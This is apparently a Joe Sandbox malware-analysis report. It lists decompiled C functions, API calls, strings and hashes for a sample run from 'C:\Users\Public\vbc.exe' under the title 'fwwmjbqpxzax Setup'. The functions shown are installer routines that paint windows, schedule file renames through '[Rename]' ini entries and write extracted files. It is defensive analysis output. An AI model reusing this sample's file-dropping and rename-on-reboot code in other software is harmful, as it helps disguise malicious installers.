ShellExecuteA.SHELL32(0000070B,open,@.B,00000000,00000000,00000001), ref: 0040418E
LoadCursorA.USER32 ref: 0040419B
SetCursor.USER32(00000000), ref: 0040419E
SendMessageA.USER32 ref: 004041CA
SendMessageA.USER32 ref: 004041DE

Strings

open, xrefs: 00404186
@.B, xrefs: 00404183
N, xrefs: 00404111

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @.B$N$open
API String ID: 3615053054-3815657624
Opcode ID: 086c9584272f405e5d23a234cb3672cb38a546f38c26fc4f0f37582571ec5c76
Instruction ID: c3de460066171d4a99b3db8707b5a70307f179c1ca483427b8a670d92431fbf8
Opcode Fuzzy Hash: 086c9584272f405e5d23a234cb3672cb38a546f38c26fc4f0f37582571ec5c76
Instruction Fuzzy Hash: 4E61C3B1A40209BFEB109F60CC45B6A7B69FB54715F108136FB04BA2D1C7B8A951CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				intOrPtr _t115;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x423eb0; // 0x8c0fa0
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, "fwwmjbqpxzax Setup", 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					_t115 =  *0x423ea8; // 0x0
					 *((intOrPtr*)(_t102 + 4)) = _t115;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x00401019
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,fwwmjbqpxzax Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

fwwmjbqpxzax Setup, xrefs: 00401150
F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$fwwmjbqpxzax Setup
API String ID: 941294808-1473510216
Opcode ID: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
Instruction ID: 81477e3a2fde3fb3f26aa953fc06e347994717d76cab2c79682594c458f31f57
Opcode Fuzzy Hash: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
Instruction Fuzzy Hash: 8141BC71804249AFCB058FA4CD459BFBFB9FF44314F00802AF551AA1A0C378EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004057D3 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004057D3() {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t15;
				long _t16;
				intOrPtr _t18;
				int _t20;
				void* _t28;
				long _t29;
				intOrPtr* _t37;
				int _t43;
				void* _t44;
				long _t47;
				CHAR* _t49;
				void* _t51;
				void* _t53;
				intOrPtr* _t54;
				void* _t55;
				void* _t56;

				_t15 = E00405DA3(1);
				_t49 =  *(_t55 + 0x18);
				if(_t15 != 0) {
					_t20 =  *_t15( *(_t55 + 0x1c), _t49, 5);
					if(_t20 != 0) {
						L16:
						 *0x423f30 =  *0x423f30 + 1;
						return _t20;
					}
				}
				 *0x422628 = 0x4c554e;
				if(_t49 == 0) {
					L5:
					_t16 = GetShortPathNameA( *(_t55 + 0x1c), 0x4220a0, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						_t43 = wsprintfA(0x421ca0, "%s=%s\r\n", 0x422628, 0x4220a0);
						_t18 =  *0x423eb0; // 0x8c0fa0
						_t56 = _t55 + 0x10;
						E00405AA7(_t43, 0x400, 0x4220a0, 0x4220a0,  *((intOrPtr*)(_t18 + 0x128)));
						_t20 = E0040575C(0x4220a0, 0xc0000000, 4);
						_t53 = _t20;
						 *(_t56 + 0x14) = _t53;
						if(_t53 == 0xffffffff) {
							goto L16;
						}
						_t47 = GetFileSize(_t53, 0);
						_t7 = _t43 + 0xa; // 0xa
						_t51 = GlobalAlloc(0x40, _t47 + _t7);
						if(_t51 == 0 || ReadFile(_t53, _t51, _t47, _t56 + 0x18, 0) == 0 || _t47 !=  *(_t56 + 0x18)) {
							L15:
							_t20 = CloseHandle(_t53);
							goto L16;
						} else {
							if(E004056D1(_t51, "[Rename]\r\n") != 0) {
								_t28 = E004056D1(_t26 + 0xa, 0x409348);
								if(_t28 == 0) {
									L13:
									_t29 = _t47;
									L14:
									E0040571D(_t51 + _t29, 0x421ca0, _t43);
									SetFilePointer(_t53, 0, 0, 0);
									WriteFile(_t53, _t51, _t47 + _t43, _t56 + 0x18, 0);
									GlobalFree(_t51);
									goto L15;
								}
								_t37 = _t28 + 1;
								_t44 = _t51 + _t47;
								_t54 = _t37;
								if(_t37 >= _t44) {
									L21:
									_t53 =  *(_t56 + 0x14);
									_t29 = _t37 - _t51;
									goto L14;
								} else {
									goto L20;
								}
								do {
									L20:
									 *((char*)(_t43 + _t54)) =  *_t54;
									_t54 = _t54 + 1;
								} while (_t54 < _t44);
								goto L21;
							}
							E00405A85(_t51 + _t47, "[Rename]\r\n");
							_t47 = _t47 + 0xa;
							goto L13;
						}
					}
				} else {
					CloseHandle(E0040575C(_t49, 0, 1));
					_t16 = GetShortPathNameA(_t49, 0x422628, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						goto L5;
					}
				}
				return _t16;
			}

0x004057d9
0x004057e0
0x004057e4
0x004057ed
0x004057f1
0x00405930
0x00405930
0x00000000
0x00405930
0x004057f1
0x004057fd
0x00405813
0x0040583b
0x00405846
0x0040584a
0x0040586a
0x0040586c
0x00405871
0x0040587b
0x00405888
0x0040588d
0x00405892
0x00405896
0x00000000
0x00000000
0x004058a5
0x004058a7
0x004058b4
0x004058b8
0x00405929
0x0040592a
0x00000000
0x004058d4
0x004058e1
0x00405946
0x0040594d
0x004058f4
0x004058f4
0x004058f6
0x004058ff
0x0040590a
0x0040591c
0x00405923
0x00000000
0x00405923
0x0040594f
0x00405950
0x00405955
0x00405957
0x00405964
0x00405964
0x00405968
0x00000000
0x00000000
0x00000000
0x00000000
0x00405959
0x00405959
0x0040595c
0x0040595f
0x00405960
0x00000000
0x00405959
0x004058ec
0x004058f1
0x00000000
0x004058f1
0x004058b8
0x00405815
0x00405820
0x00405829
0x0040582d
0x00000000
0x00000000
0x0040582d
0x0040593a

APIs

Part of subcall function 00405DA3: GetModuleHandleA.KERNEL32(?,?,00000000,00403268,00000008), ref: 00405DB5
Part of subcall function 00405DA3: LoadLibraryA.KERNEL32(?), ref: 00405DC0
Part of subcall function 00405DA3: GetProcAddress.KERNEL32(00000000,?,?,00000000,00403268,00000008), ref: 00405DD1

CloseHandle.KERNEL32(00000000), ref: 00405820
GetShortPathNameA.KERNEL32 ref: 00405829
GetShortPathNameA.KERNEL32 ref: 00405846
wsprintfA.USER32 ref: 00405864
GetFileSize.KERNEL32(00000000,00000000,004220A0,C0000000,00000004,004220A0,?,?,?,00000000,000000F1,?), ref: 0040589F
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 004058AE
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058C4
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421CA0,00000000,-0000000A,00409348,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040590A
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 0040591C
GlobalFree.KERNEL32(00000000), ref: 00405923
CloseHandle.KERNEL32(00000000), ref: 0040592A

Part of subcall function 004056D1: lstrlenA.KERNEL32(00000000,?,00000000,00000000,004058DF,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004056D8
Part of subcall function 004056D1: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004058DF,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405708

Strings

%s=%s, xrefs: 0040585A
(&B, xrefs: 0040580E
[Rename], xrefs: 004058D4, 004058E6

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$(&B$[Rename]
API String ID: 3772915668-1834469719
Opcode ID: 59f55a9dc5d97f07b1302869ed359d77eb01a2f99cc6c2b796ec22a8fd90dab3
Instruction ID: f113039d6a8e0b98787bbcb52898fefdd985450d1919188b96c4478b1d7dfea3
Opcode Fuzzy Hash: 59f55a9dc5d97f07b1302869ed359d77eb01a2f99cc6c2b796ec22a8fd90dab3
Instruction Fuzzy Hash: 0F412371A00B11FBD3216B619D48FAB3A5CDB45764F100036FA05F22D2E678A801CEBD

Uniqueness

Uniqueness Score: -1.00%

Function 00405CE3 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CE3(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E004055E5(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E004055A3("*?|<>/\":", _t5))) == 0) {
							E0040571D(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00405ce5
0x00405ced
0x00405d01
0x00405d01
0x00405d07
0x00405d14
0x00405d14
0x00405d15
0x00405d17
0x00405d1b
0x00405d1d
0x00405d26
0x00405d28
0x00405d42
0x00405d4a
0x00405d4a
0x00405d4f
0x00405d51
0x00405d53
0x00405d57
0x00405d58
0x00405d5b
0x00405d63
0x00405d65
0x00405d69
0x00000000
0x00000000
0x00405d6f
0x00405d74
0x00000000
0x00000000
0x00000000
0x00405d74
0x00405d79

APIs

CharNextA.USER32(?), ref: 00405D3B
CharNextA.USER32(?), ref: 00405D48
CharNextA.USER32(?), ref: 00405D4D
CharPrevA.USER32(?,?), ref: 00405D5D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CE4, 00405D1F
*?|<>/":, xrefs: 00405D2B
"C:\Users\Public\vbc.exe" , xrefs: 00405CE9

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\Public\vbc.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1374994687
Opcode ID: 7ea15337aa65b78854fdfbf4a976c6e6ace2ef0f47433067a0fc10695a03ac80
Instruction ID: 2efc38d3d3d4567a91e012bcb7a73cc210910fb997772161a70c169f721ad970
Opcode Fuzzy Hash: 7ea15337aa65b78854fdfbf4a976c6e6ace2ef0f47433067a0fc10695a03ac80
Instruction Fuzzy Hash: 5811E251804B9129EB3226285C48B7B6F89CF97760F18807BE5C1722C2D67C5C429E6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403E9E Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403E9E(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x00403eb0
0x00403f44
0x00000000
0x00403f44
0x00403ec1
0x00403ec5
0x00000000
0x00000000
0x00403ecb
0x00403ed4
0x00403ed7
0x00403ed7
0x00403edd
0x00403ee3
0x00403ee3
0x00403eef
0x00403ef5
0x00403efc
0x00403eff
0x00403f02
0x00403f04
0x00403f04
0x00403f0c
0x00403f12
0x00403f12
0x00403f1c
0x00403f21
0x00403f24
0x00403f29
0x00403f2c
0x00403f2c
0x00403f3c
0x00403f3c
0x00000000

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403EBB
GetSysColor.USER32 ref: 00403ED7
SetTextColor.GDI32(?,00000000), ref: 00403EE3
SetBkMode.GDI32(?,?), ref: 00403EEF
GetSysColor.USER32 ref: 00403F02
SetBkColor.GDI32(?,?), ref: 00403F12
DeleteObject.GDI32(?), ref: 00403F2C
CreateBrushIndirect.GDI32(?), ref: 00403F36

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction ID: 00f1469000c5a89127aeec98ef40b5380c975c6b17ce5fce2ee989e1a8c22914
Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction Fuzzy Hash: D9216271904745ABCB219F68DD08B5BBFF8AF01715B048A69F895E22E1C738E9048B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040266E Relevance: 10.6, APIs: 7, Instructions: 89
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040266E(struct _OVERLAPPED* __ebx) {
				void* _t27;
				long _t32;
				struct _OVERLAPPED* _t47;
				void* _t51;
				void* _t53;
				void* _t56;
				void* _t57;
				void* _t58;

				_t47 = __ebx;
				 *(_t58 - 8) = 0xfffffd66;
				_t52 = E004029E8(0xfffffff0);
				 *(_t58 - 0x44) = _t24;
				if(E004055E5(_t52) == 0) {
					E004029E8(0xffffffed);
				}
				E0040573D(_t52);
				_t27 = E0040575C(_t52, 0x40000000, 2);
				 *(_t58 + 8) = _t27;
				if(_t27 != 0xffffffff) {
					_t32 =  *0x423eb4; // 0x7e00
					 *(_t58 - 0x2c) = _t32;
					_t51 = GlobalAlloc(0x40, _t32);
					if(_t51 != _t47) {
						E004031DA(_t47);
						E004031A8(_t51,  *(_t58 - 0x2c));
						_t56 = GlobalAlloc(0x40,  *(_t58 - 0x1c));
						 *(_t58 - 0x30) = _t56;
						if(_t56 != _t47) {
							E00402F01(_t49,  *((intOrPtr*)(_t58 - 0x20)), _t47, _t56,  *(_t58 - 0x1c));
							while( *_t56 != _t47) {
								_t49 =  *_t56;
								_t57 = _t56 + 8;
								 *(_t58 - 0x38) =  *_t56;
								E0040571D( *((intOrPtr*)(_t56 + 4)) + _t51, _t57, _t49);
								_t56 = _t57 +  *(_t58 - 0x38);
							}
							GlobalFree( *(_t58 - 0x30));
						}
						WriteFile( *(_t58 + 8), _t51,  *(_t58 - 0x2c), _t58 - 8, _t47);
						GlobalFree(_t51);
						 *(_t58 - 8) = E00402F01(_t49, 0xffffffff,  *(_t58 + 8), _t47, _t47);
					}
					CloseHandle( *(_t58 + 8));
				}
				_t53 = 0xfffffff3;
				if( *(_t58 - 8) < _t47) {
					_t53 = 0xffffffef;
					DeleteFileA( *(_t58 - 0x44));
					 *((intOrPtr*)(_t58 - 4)) = 1;
				}
				_push(_t53);
				E00401423();
				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t58 - 4));
				return 0;
			}

0x0040266e
0x00402670
0x0040267c
0x0040267f
0x00402689
0x0040268d
0x0040268d
0x00402693
0x004026a0
0x004026a8
0x004026ab
0x004026b1
0x004026bf
0x004026c4
0x004026c8
0x004026cb
0x004026d4
0x004026e0
0x004026e4
0x004026e7
0x004026f1
0x00402710
0x004026f8
0x004026fd
0x00402705
0x00402708
0x0040270d
0x0040270d
0x00402717
0x00402717
0x00402729
0x00402730
0x00402742
0x00402742
0x00402748
0x00402748
0x00402753
0x00402754
0x00402758
0x0040275c
0x00402762
0x00402762
0x00402769
0x00402156
0x00402880
0x0040288c

APIs

GlobalAlloc.KERNEL32(00000040,00007E00,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026C2
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026DE
GlobalFree.KERNEL32(?), ref: 00402717
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66), ref: 00402729
GlobalFree.KERNEL32(00000000), ref: 00402730
CloseHandle.KERNEL32(FFFFFD66), ref: 00402748
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040275C

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 4c0fd2d05d9642674c9ab6b4876f57fc245776767d9f13474b3403e8ff6ab1b0
Instruction ID: 9ca9f948efa3d3b3c01768b84b42719a88da944e93008125b7d5b0dd1b363230
Opcode Fuzzy Hash: 4c0fd2d05d9642674c9ab6b4876f57fc245776767d9f13474b3403e8ff6ab1b0
Instruction Fuzzy Hash: 5B318D71C00128BBDF216FA9CD89D9E7E79EF09364F10422AF910772E0D7795D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404E23 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E23(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x423684; // 0x0
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x423f54; // 0x0
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E00405AA7(0, _t39, 0x41fc70, 0x41fc70, _a4);
					}
					_t26 = lstrlenA(0x41fc70);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x423668, 0x41fc70);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x41fc70;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x41fc70)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x41fc70, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00404e29
0x00404e35
0x00404e38
0x00404e3e
0x00404e4a
0x00404e4d
0x00404e50
0x00404e56
0x00404e56
0x00404e5c
0x00404e64
0x00404e67
0x00404e84
0x00404e88
0x00404e91
0x00404e91
0x00404e9b
0x00404ea4
0x00404eb0
0x00404eb7
0x00404ebb
0x00404ebe
0x00404ed1
0x00404edf
0x00404edf
0x00404ee3
0x00404ee5
0x00404ee8
0x00000000
0x00404ee8
0x00404e69
0x00404e71
0x00404e79
0x00404e7f
0x00000000
0x00404e7f
0x00404e79
0x00404e67
0x00404ef2

APIs

lstrlenA.KERNEL32(0041FC70,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C3C,00000000,?), ref: 00404E5C
lstrlenA.KERNEL32(00402C3C,0041FC70,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C3C,00000000), ref: 00404E6C
lstrcatA.KERNEL32(0041FC70,00402C3C,00402C3C,0041FC70,00000000,00000000,00000000), ref: 00404E7F
SetWindowTextA.USER32(0041FC70,0041FC70), ref: 00404E91
SendMessageA.USER32 ref: 00404EB7
SendMessageA.USER32 ref: 00404ED1
SendMessageA.USER32 ref: 00404EDF

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
